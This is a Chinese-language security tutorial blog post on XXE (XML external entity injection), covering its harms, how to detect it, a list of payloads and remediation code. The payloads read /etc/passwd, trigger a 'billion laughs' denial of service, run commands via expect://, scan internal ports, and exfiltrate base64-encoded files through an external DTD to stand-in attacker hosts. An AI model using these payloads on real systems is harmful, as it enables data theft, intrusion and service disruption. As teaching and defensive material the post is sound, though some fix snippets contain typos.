XXE漏洞
C3ngH Lv3

XXE漏洞:XML外部实体注入漏洞

XXE漏洞的定义

​ XXE漏洞(XML External Entity)是一种安全漏洞,它存在于应用程序对XML输入处理不当的情况下。XML外部实体(External Entity)允许在XML文档中引用外部资源,如文件系统、URL等。当应用程序未正确验证或过滤用户提供的XML输入时,攻击者可以通过构造恶意的XML文件,利用外部实体引用敏感文件、执行远程请求等操作,从而导致信息泄露、服务器端请求伪造(SSRF)、拒绝服务(DoS)等安全问题。

XXE漏洞的危害

  1. 信息泄露: 攻击者可以利用XXE漏洞访问服务器上的敏感文件,如配置文件、数据库凭据等,从而获取敏感信息。

  2. 服务器端请求伪造(SSRF): 攻击者可以利用XXE漏洞发起对内部网络的请求,可能导致服务器端请求伪造漏洞,从而进一步探测或攻击内部系统。

  3. 拒绝服务(DoS): 攻击者可以通过恶意构造的XML文件引发大量资源消耗,导致服务器性能下降或完全不可用,造成拒绝服务。

  4. 远程代码执行(RCE): 在某些情况下,XXE漏洞可能被利用以执行远程代码,导致服务器受到攻击者控制。

  5. 横向移动: 通过利用XXE漏洞,攻击者可能获取对服务器上其他应用程序或系统的访问权限,从而实现横向移动并扩大攻击范围。

XML的定义

可扩展标记语言(Extensible Markup Language,简称:XML)是一种用于标记电子文件结构和数据的语言。它是一种通用的标记语言,旨在传输和存储数据,尤其适用于Internet环境。XML的设计目标是使数据具有自描述性和可扩展性。

​ XML由一系列标签组成,每个标签用于标识数据的不同部分或属性。这些标签可以按照层次结构进行嵌套,从而创建复杂的数据结构。与HTML不同,XML没有预定义的标签集合,因此用户可以根据需要定义自己的标签。XML还允许用户定义数据类型、实体和命名空间,以增强数据的表现力和灵活性。

​ XML的主要应用包括数据交换、配置文件、Web服务通信、数据存储等领域。它被广泛用于各种场景中,如Web开发、企业应用集成、文档标记等。 XML的易读性和灵活性使其成为一种流行的数据格式,受到广泛应用和支持。

XML的特点

  • XML 是一种很像 HTML 的标记语言,其设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义,需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准。

判断是否存在XXE漏洞

  1. 检测XML是否会被解析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #测试1
    <?xml version="1.0"?>
    <!DOCTYPE ANY [<!ENTITY shit "this is shit">]>
    <name>&shit;</name>
    #测试2
    <?xml version = "1.0"?>
    <!DOCTYPE note [
    <!ENTITY hacker "ESHLkangi">
    ]>
    <name>&hacker;</name>
  2. Dnslog方法-检测服务器是否支持外部实体(高匿)

    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="UTF-8"?> 
    <!DOCTYPE ANY [
    <!ENTITY % shit SYSTEM "http://8108b8fa5c.ipv6.1433.eu.org.">
    %shit;
    ]>
  3. 如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用。这样的话,只能使用Blind XXE(DNSlog)攻击。

XXE的Payload

  1. 文件包含

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>
  2. XXE炸弹:DOS攻击

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
  3. XXE-命令执行(需要一些配置开启才能执行,很小概率能用)

    1
    2
    3
    4
    5
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "expect://id">
    ]>
    <x>&xxe;</x>
  4. 端口扫描

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:8080“>]>
    <root>
    <name>&xxe;</name>
    </root>
  5. 通过DTO读取文件(Blind XXE)

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://attack.com/1.dto“>]>
    <root>
    <name>&xxe;</name>
    </root>
  6. DTO的内容

    1
    2
    3
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
    <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
    %all;

    在attack的服务器WEB日志当中可以查看内容

XML漏洞修复方法

  1. 使用开发语言提供的禁用外部实体的方法
1
2
3
4
5
6
7
8
9
10
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newlnstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=false))
  1. 过滤用户提交的XML数据。过滤关键字:<!DOCTYPE和</!ENTITY,或者SYSTEM和PUBLIC

  2. 不允许XML中含有自己定义的DTD。

 评论
评论插件加载失败
正在加载评论插件
访客数 访问量